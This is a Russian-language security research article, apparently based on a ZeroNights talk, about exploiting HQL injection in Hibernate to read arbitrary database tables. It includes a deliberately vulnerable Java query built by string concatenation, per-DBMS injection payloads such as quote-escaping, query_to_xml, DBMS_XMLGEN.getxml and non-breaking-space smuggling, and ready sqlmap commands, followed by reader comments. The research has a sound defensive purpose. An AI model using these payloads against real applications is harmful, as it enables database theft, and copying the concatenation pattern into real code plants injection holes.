Доклад на эту тему был представлен на конференции ZeroNights 0x05 на секции FastTrack. Работа оказалась очень актуальной и вызвала большой интерес, поскольку в последнее время проблема эксплуатации HQL-инъекций интересовала многих security-исследователей, специализирующихся на веб-безопасности. Поэтому я решил написать статью, которая раскрывает дополнительные детали, позволяющие лучше понять результаты работы.
Современные приложения, написанные на языке Java, как правило, работают с СУБД не напрямую, а используют Java Persistence API (JPA). JPA – это API, который был добавлен в состав платформ Java SE и Java EE, начиная с Java версии 5, для того, чтобы было удобно сохранять Java-объекты в базу данных и извлекать их из базы данных. Существует большое количество ORM-библиотек (ORM – Object-Relational Mapping) для JAVA, которые реализуют спецификацию JPA. На сегодняшний момент последняя версия спецификации 2.1.
Одна из популярных ORM-библиотек — Hibernate ORM. На данный момент Hibernate является проектом RedHat. Cерверы приложений WildFly и JBoss используют Hibernate в качестве ORM.
Hibernate ORM использует объектно-ориентированный язык запросов Hibernate Query Language (HQL) для написания запросов к сущностям Hibernate, которые хранятся в базе данных.
HQL-инъекция
Для передачи параметров в HQL-запрос используются named parameters или positional parameters. Ниже представлен пример передачи параметра в HQL-запрос при помощи named parameters. Параметр
name
передается в HQL-запрос.public List<Post> getByName_Secure(String name) {
Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class);
query.setParameter("name", name);
return (List<Post>) query.getResultList();
}
Разработчик по незнанию или непониманию может попытаться передать параметр name напрямую в HQL-запрос, используя конкатенацию, вместо использования parameter binding, как показано выше. В этом случае код содержит HQL-инъекцию (HQLi). Ниже приведен пример небезопасного кода.
public List<Post> getByName_Insecure(String name) {
Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);
return (List<Post>) query.getResultList();
}
При эксплуатации HQLi атакующий не сможет прочитать содержимое таблиц, которые отличны от таблицы post, к которой привязан (mapped) класс Post. При обращении в подзапросе к таблице, которая не связана с сущностью, генерируется исключение
HibernateQueryException
и запрос дальше не обрабатывается.package hqli.persistent;
import javax.persistence.*;
@Entity
@Table(name = "post")
public class Post {
…
}
Это серьёзное препятствие при эксплуатации HQLi, если, конечно, entity-класс не связан с таблицей, в которой хранятся данные, используемые приложением для аутентификации или авторизации.
Исследователь @PaulWebSec написал утилиту HQLmap для эксплуатации HQLi. Утилита реализует blind и error-based техники для эксплуатации HQLi, но позволяет извлекать данные только из связанных таблиц.
Еще один исследователь @h3xstream написал статью про техники эксплуатации HQLi. В данной статье рассмотрены базовые техники эксплуатации, которые также не позволяют получить доступ к таблицам БД, которые не связаны с сущностью.
Цель исследования
Главная цель – получить доступ ко всем таблицам базы данных, которые доступны текущему пользователю СУБД. Т.е. найти возможность эксплуатировать HQLi как SQL-инъекцию (SQLi).
Основная задача Hibernate ORM – это преобразовать HQL-запрос в SQL-запрос. Преобразование HQL в SQL происходит в три этапа:
- Парсинг HQL-запроса при помощи ANTLR с использованием следующей грамматики. Результатом парсинга является HQL-AST (AST – Abstract syntax tree).
- Преобразование HQL-AST в SQL-AST. Как раз на этом этапе проверяется, что HQL-запрос обращается только к связанным таблицам.
- Преобразование SQL-AST в SQL-запрос, который будет отправлен в СУБД.
Можно переформулировать цель следующим образом — нам нужно найти HQL-подзапрос, который позволит всему HQL-запросу пройти этапы преобразования 1 и 2, и, самое главное, позволит на 3 этапе получить доступ к таблице, которая не связана с сущностью. Хочется найти HQL-подзапросы, обладающие указанным свойством, для популярных реляционных СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server.
Методы исследования
Первым делом было написано уязвимое приложение, которое использовалось для опытов, оно доступно здесь. Приложение принимает URL-параметр, который поступает в качестве аргумента в уязвимую функцию
getByName_Insecure
.Данное приложение было развернуто на сервере приложений WildFly. Для сервера приложений были установлены JDBC-драйверы для следующих СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server. При помощи задания свойств Datasource с именем HQLiDS, приложение подключалось к разным СУБД.
Был настроен уровень логирования Hibernate со значением Debug для того, чтобы в логи сервера приложений записывались HQL и соответствующий ему SQL запросы.
Были изучены особенности грамматики HQL и особенности преобразования HQL-AST в SQL-AST. Эти особенности позволили для каждой из СУБД найти техники эксплуатации.
Эксплуатация HQLi в MySQL
Техника эксплуатации основана на том, что в Hibernate и MySQL по-разному происходит экскейпинг кавычки в строках. Для того, чтобы использовать кавычку в строке в Hibernate, нужно ее удвоить. Для того, чтобы использовать кавычку в строке в MySQL, нужно ее экранировать символом слэш.
# Hibernate
'String with '' symbol'
# MySQL
'String with \' symbol'
Что будет, если в строке мы передадим
\''
(слэш и затем две кавычки)? Т.е. если в качестве параметра name мы передадим уязвимому методу getByName_Insecure
следующее значение.dummy\'' or 1<length((select version())) --
Hibernate увидит строку, т.к. слэш – обычный символ для Hibernate и двойная кавычка – это экранированная кавычка. Таким образом, результирующим HQL-запрос пройдет этапы преобразования 1 и 2. Напротив, MySQL увидит экранированную кавычку
\'
и неэкранированную кавычку, которая терминирует строку и остальная часть значения параметра or 1<length((select version())) --
будет воспринята СУБД как SQL-выражение.HQL-инъекцию в этом случае можно эксплуатировать, используя утилиту sqlmap следующим образом.
sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0
Данная техника была показана на конференции SYNACTIV исследователем @_unread_ до нашего выступления на ZeroNights. Вот ссылка на презентацию.
Эксплуатация HQLi в Postgresql
Для СУБД Postgresql трюк с кавычками не работает, т.к. Postgresql экранирует кавычки таким же образом, как и Hibernate.
Hibernate позволяет вызывать любые функции СУБД и передавать данным функциям произвольные идентификаторы в качестве параметров. В Postgresql есть полезная функция
query_to_xml('select 1',…)
, которая позволяет выполнить произвольный SQL-запрос, который передается ей в качестве первого параметра. Функция возвращает XML-объект. Для того, чтобы использовать query_to_xml
для эксплуатации, нужно ее дополнительно обернуть в вызовы функций array_upper
и xpath
. Если SQL-запрос, переданный в query_to_xml
, вернет одну или более строк, то данная конструкцию вернет значение 1
.array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1)
Запрос
select 1 where 1337>1
возвращает одну строку, поэтому выражение возвращает значение 1
.postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1);
array_upper
-------------
1
(1 row)
Запрос
select 1 where 1337<1
возвращает ноль строк, поэтому выражение не возвращает значение 1
.postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1);
array_upper
-------------
(1 row)
В конечном итоге мы можем эксплуатировать HQLi с помощью sqlmap следующим образом.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0
Видео, которое показывает эксплуатацию HQLi для СУБД Postgresql, доступно здесь.
Эксплуатация HQLi в Oracle
Для Oracle эксплуатация HQLi аналогична её эксплуатации в Postgresql. В Oracle функция
DBMS_XMLGEN.getxml('SQL')
позволяет выполнить любой SQL-запрос и возвращает CLOB
. Для того, чтобы использовать функцию DBMS_XMLGEN.getxml
для эксплуатации, необходимо ее обернуть вызовами функций NVL
и TO_CHAR
. Если SQL-запрос, переданный в DBMS_XMLGEN.getxml
вернет ноль строк, то следующая конструкцию вернет значение '1'
.NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')
С использованием sqlmap эксплуатации HQLi в СУБД Oracle выглядит следующим образом.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0
Эксплуатация HQLi в Microsoft SQL Server
Для СУБД Microsoft SQL Server трюк с кавычками не работает. Функции наподобие
query_to_xml
и DBMS_XMLGEN.getxml
отсутствуют в СУБД.В данном случае эксплуатация HQLi основана на том, что Hibernate разрешает использовать Unicode-символы в именах функций и именах параметров, которые передаются в функцию. В то же время СУБД SQL Server допускает использование Unicode-символов наподобие
No-break spacе (U+00A0)
или Ideographic space (U+3000)
в качестве пробелов. Таким образом, следующие два запроса валидны и эквивалентны в SQL Server.select top1 uname from postusers
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
Таким образом, если в качестве параметра в уязвимый метод мы передадим следующее значение.
dummy' or 1<LEN([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '1'='1
Hibernate увидит вызов функции
Len
, внутри которой вызывается функция с именем [U+00A0]
и которой в качестве аргумента передается следующий параметр.select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
С точки зрения Hibernate все кажется нормальным, так как Hibernate разрешает вызывать любые функции и передавать им в качестве параметров любые переменные. HQL-запрос успешно пройдет этапы преобразования 1 и 2.
SQL Server увидит дополнительный подзапрос, который обращается к таблице
postusers
, так как [U+00A0]
воспринимается как пробел.dummy' or 1<len((select top 1 uname from postusers)) or '1'='1
Эксплуатировать HQLi с помощью sqlmap напрямую не получится. В связи с этим, был написан Perl-скрипт, который умеет извлекать имена таблиц в текущей БД, извлекать имена столбцов для выбранной таблицы и в завершении дампить выбранную таблицу. Видео, которое демонстрирует работу Perl-скрипта, доступно здесь. Perl-скрипт доступен здесь.
Заключение
Были найдены новые техники, которые позволяют эксплуатировать HQLi как blind SQLi для популярных СУБД. Это приравнивает опасность любой HQLi к опасности SQLi.
Техники эксплуатации работают из-за особенностей парсинга HQL-запросов и особенностей преобразования HQL-AST в SQL-AST:
- Экранирование кавычек в строке осуществляется путем их удвоения. В СУБД MySQL экранирование кавычек осуществляется по-другому (при помощи символа слэш).
- Возможно использовать любые имена для вызываемых функций. В HQL можно вызывать функцию
query_to_xml
для Postgresql и функциюDBMS_XMLGEN.getxml
для Oracle. - Возможно использовать Unicode-символы в именах вызываемых функций и именах, передаваемых в них параметров. Можно использовать символы
No-break spacе (U+00A0)
илиIdeographic space (U+3000)
, которые интерпретируются как пробел в Microsoft SQL Server.
Презентация с выступления на ZeroNights 0x05.
Комментарии (3)
0ang3el
08.12.2015 12:59+2Ответ на первый вопрос — да, вы правильно поняли. Здесь ситуация аналогична SQL-инъекциям, когда разработчик использует конкатенацию вместо prepareStatement. По опыту аудита безопасности Java-приложений могу сказать, что разработчики совершают подобные ошибки.
Ответ на второй вопрос — в большом проекте я находил две HQL-инъекции, подобные описанной в статье. Одна была неэксплуатируема. Вторая была эксплуатируема без аутентификации удаленно и позволяла получить всю БД приложения. Класс, который содержал уязвимый код, успешно прошел ревью.
vedenin1980
Я правильно понимаю, что все уязвимости описанные здесь возможны только если кто напишет что-то вроде Query query = em.createQuery(«SELECT p FROM Post p where p.name='» + name + "'", Post.class); и не будет работать если использовать query.setParameter?
P.S. Честно говоря, не представляю кто в здравом уме будет использовать конкатенацию createQuery, вместо setParameter, она же просто не будет работать в большинстве случаев, так как в setParameter происходит преобразование объектов Java в объект баз данных, чего не будет при конкатенации. Поэтому любой junior сразу получит по рукам за такой код, если код сам не даст в лоб. В теории можно допустить такую ошибку при использовании createNativeQuery, но это уже будет обычная SQL инъекция.
Есть у вас какая-нибудь статистика использование такого кода c контенацией строк в каком-нибудь проекте?
0ang3el
ORM Injections (HQL injections, как подвид) это распространенный класс уязвимостей, который входит в классификацию OWASP.